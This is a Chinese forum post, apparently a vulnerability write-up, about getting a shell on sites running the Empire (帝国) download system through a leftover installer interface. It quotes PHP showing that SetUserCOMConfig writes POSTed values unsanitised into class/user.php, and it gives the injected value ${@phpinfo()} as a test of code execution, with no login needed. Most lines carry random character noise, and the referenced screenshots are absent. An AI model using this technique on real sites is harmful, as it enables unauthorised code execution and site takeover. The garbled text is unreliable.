这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们, J: G8 \% S; W
1 ~* T8 m# p6 s
7 e& @+ u1 }# J6 [; ^' ]6 j9 m7 z这是帝国的一套下载系统 如图& }9 ~; y. g5 g8 o
ps(不需要任何账户和密码,直接写shell)
8 V5 ]$ q7 _1 v" Y由于很多站是由于下载要整合discuz 等等一些论坛....8 G5 G4 i+ |% B
# \7 z! T. p0 H8 `# }0 u5 z" k# r而帝国他又有一个万能接口,如图 * y/ H; \( X; U3 a2 h3 [
" V* \+ d: B3 ~9 N0 a
* B$ k; e6 I" A6 t而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码( ^! K* \4 A$ y# l4 h6 z) c- b
- b+ r: C1 l4 _4 o: j6 s
当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig 1. if($_GET['install']==1) 2. { 3. @include("../class/connect.php"); 4. @include("../class/db_sql.php"); 5. @include("../class/functions.php"); 6. $link=db_connect(); 7. $empire=new mysqlquery(); 8. if($setup=="SetConfig") 9. { 10. SetUserCOMConfig($_POST); 11. } 12. elseif($setup=="alter") 13. { 14. InstallUserCOM(); 15. } 16. elseif($setup=="update") 17. { 18. UpdateUserCOM(); 19. } 20. else 21. {} 复制代码 他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪! ^! i! g# C2 P* A" E
# @) U/ x3 ^2 C& n6 w N8 S$ ^" |
在data/fun.php中的15行% |/ j; y& Z- U# `) y& O
# m3 X- J9 b2 ] ]* @; @+ l我们可以看到这个函数 1. function SetUserCOMConfig($add){ 2. $filetext=ReadFiletext('data/user.php'); 3. if(empty($filetext)) 4. { 5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.'); 6. } 7. $vr=explode(",",ReturnRepUserVar()); 8. $count=count($vr); 9. for($i=0;$i<$count;$i++) 10. { 11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext); 12. } 13. //写入配置文件 14. $fp=@fopen("../class/user.php","w"); 15. if(!$fp) 16. {
R6 X% @$ |% z; t3 a2 W8 D17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 18. } 19. @fputs($fp,$filetext); 20. @fclose($fp); 复制代码 .....//省略若干
1 @7 @0 A& l1 {& D; {" J8 W b( O7 K! F9 q. C2 O( Q3 P
这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);9 ]& x( c$ e, X# [4 e
0 F, i* u$ A5 r. W% n他将传进来的变量进行了切割,然后赋给了$filetext' Z+ M+ M( n# N" P" n
' T# n" j1 Y+ v. h: i8 k% {7 d0 T
然后看下面 1. //写入配置文件 2. $fp=@fopen("../class/user.php","w"); 3. if(!$fp) 4. { 5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 6. } 7. @fputs($fp,$filetext); 复制代码 打开了一个class/user.php文件,然后将$filetext写入了
5 g/ x+ X4 H( ]/ X6 ^7 R/ V7 U' l3 D. q9 J! A5 v
我们看看写入的结果,随便填一个 , Z. P/ ^7 E* e8 Q
( _2 x8 Z: c4 ^
- [4 A. a7 j/ t0 m3 {3 q& T P1 |; ^6 L
8 Y( `/ F5 h' Y6 Z
& D5 Y% B; d; y& M; G% E
/ l+ |1 F: t2 Z0 ~7 j; H
7 }8 p# U3 `+ F% m) g" k+ h$ x
& I$ u5 Q/ N! ?( ^
]4 t6 L6 o9 M% n
" E- u& m1 l) a( J9 a8 j5 u. q
: X5 _4 d3 J. G+ r/ h1 H/ T' r
: m6 A/ Z0 M, `0 C) O
. q D* V( \) m+ J; _+ v9 `" r Z. f( I7 P
% q$ {3 A: T8 G: D4 L& l; q
S2 i3 X+ D }$ f( l) k
; t# R3 o) `2 I6 V
' c/ x% e+ Z) U2 T& G' k! q& |$ O6 b& P1 P! W' v" `3 I
/ u) @' k- @) `& H: Y/ t M
' U0 z" k7 y. ?5 n- D
所以我们淫荡点,写个${@phpinfo()}试试 1 Q/ e' d4 y' I# z7 `# P2 o8 ]9 L; W
然后访问以下class/user.php这个文件- S/ Y/ _4 R4 D) w: M* p0 {
日了吧 $ S7 K! n0 J8 z2 N' t9 m0 u! j
- E# |8 |2 f% Q
0 l S! S' h, s! T! S$ O) `0 W5 ^* ?9 [
4 a, O% Z& O( }9 G1 `& R
, o% T s; Z8 o, x
0 E1 A$ e: C/ X/ l I2 G |